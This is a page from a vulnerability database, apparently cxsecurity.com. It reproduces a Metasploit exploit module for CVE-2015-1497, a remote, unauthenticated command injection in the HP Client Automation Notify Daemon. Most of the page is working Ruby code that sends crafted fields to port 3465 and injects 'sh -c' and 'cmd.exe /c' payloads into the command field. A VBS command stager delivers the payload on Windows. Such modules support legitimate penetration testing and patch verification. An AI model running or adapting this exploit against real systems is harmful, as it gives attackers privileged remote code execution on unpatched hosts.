HP Client Automation Command Injection

2015.02.24
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'HP Client Automation Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability on HP Client Automation, distributed actually as Persistent Systems Client Automation. The vulnerability exists in the Notify Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither. This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2 and CentOS 5. }, 'Author' => [ 'Ben Turner', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2015-1497'], ['ZDI', '15-038'], ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features'] ], 'Privileged' => true, 'Platform' => %w{ unix win }, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Payload' => {'DisableNops' => true}, 'Targets' => [ [ 'HP Client Automation 9.0.0 / Linux', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 466, 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl telnet generic gawk' }, 'BadChars' => "\x27" } } ], [ 'HP Client Automation 9.0.0 / Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2014')) register_options( [ Opt::RPORT(3465) ], self.class) deregister_options('CMDSTAGER::FLAVOR') deregister_options('CMDSTAGER::DECODER') end def check connect sock.put("\x00") # port sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password sock.put("hide\x00") # command res = sock.get_once disconnect if res && res.unpack('C')[0] == 0 return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit case target['Platform'] when 'win' print_status('Exploiting Windows target...') execute_cmdstager({:flavor => :vbs, :linemax => 290}) when 'unix' print_status('Exploiting Linux target...') exploit_unix else fail_with(Failure::NoTarget, 'Invalid target') end end def exploit_unix connect sock.put("\x00") # port sock.put("0\x00") # user ID sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected disconnect end def execute_command(cmd, opts = {}) connect sock.put("\x00") # port sock.put("S-1-5-18\x00") # user ID sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected res = sock.get_once disconnect unless res && res.unpack('C')[0] == 0 fail_with(Failure::Unknown, "Something failed executing the stager...") end end end

References:

https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top